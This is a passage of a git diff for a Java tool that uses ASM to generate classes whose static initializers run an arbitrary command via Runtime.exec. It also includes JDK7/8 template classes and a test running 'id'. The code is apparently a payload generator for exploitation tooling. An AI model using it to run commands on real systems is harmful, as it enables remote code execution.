+ mv.visitTryCatchBlock(label0, label1, label2, "java/lang/Exception");
+ mv.visitLabel(label0);
+ mv.visitLdcInsn(command);
+ mv.visitVarInsn(Opcodes.ASTORE, 0);
+ mv.visitMethodInsn(Opcodes.INVOKESTATIC, "java/lang/Runtime", "getRuntime", "()Ljava/lang/Runtime;", false);
+ mv.visitVarInsn(Opcodes.ALOAD, 0);
+ mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Runtime", "exec", "(Ljava/lang/String;)Ljava/lang/Process;", false);
+ mv.visitInsn(Opcodes.POP);
+ mv.visitLabel(label1);
+ Label label3 = new Label();
+ mv.visitJumpInsn(Opcodes.GOTO, label3);
+ mv.visitLabel(label2);
+ mv.visitVarInsn(Opcodes.ASTORE, 0);
+ mv.visitVarInsn(Opcodes.ALOAD, 0);
+ mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Exception", "printStackTrace", "()V", false);
+ mv.visitLabel(label3);
+ }
+ }
+
+}
diff --git a/src/main/resources/template/ExecTemplateJDK7.class b/src/main/resources/template/ExecTemplateJDK7.class
new file mode 100644
index 0000000..f3077dd
Binary files /dev/null and b/src/main/resources/template/ExecTemplateJDK7.class differ
diff --git a/src/main/resources/template/ExecTemplateJDK8.class b/src/main/resources/template/ExecTemplateJDK8.class
new file mode 100644
index 0000000..c131235
Binary files /dev/null and b/src/main/resources/template/ExecTemplateJDK8.class differ
diff --git a/src/test/java/ExecTemplateJDK7.java b/src/test/java/ExecTemplateJDK7.java
new file mode 100644
index 0000000..664abd3
--- /dev/null
+++ b/src/test/java/ExecTemplateJDK7.java
@@ -0,0 +1,11 @@
+/**
+ * @Classname ExecTemplateJDK7
+ * @Author Welkin
+ */
+public class ExecTemplateJDK7 {
+
+ static {
+ System.out.println();
+ }
+
+}
diff --git a/src/test/java/ExecTemplateJDK8.java b/src/test/java/ExecTemplateJDK8.java
new file mode 100644
index 0000000..a2fcec6
--- /dev/null
+++ b/src/test/java/ExecTemplateJDK8.java
@@ -0,0 +1,11 @@
+/**
+ * @Classname ExecTemplateJDK8
+ * @Author Welkin
+ */
+public class ExecTemplateJDK8 {
+
+ static {
+ System.out.println();
+ }
+
+}
diff --git a/src/test/java/TestRuntime.java b/src/test/java/TestRuntime.java
new file mode 100644
index 0000000..cdbe73d
--- /dev/null
+++ b/src/test/java/TestRuntime.java
@@ -0,0 +1,13 @@
+import org.junit.Test;
+
+/**
+ * @Classname TestRuntime
+ * @Description For testing your command
+ * @Author Welkin
+ */
+public class TestRuntime {
+ @Test
+ public void testRuntime() throws Exception{
+ Runtime.getRuntime().exec("id");
+ }
+}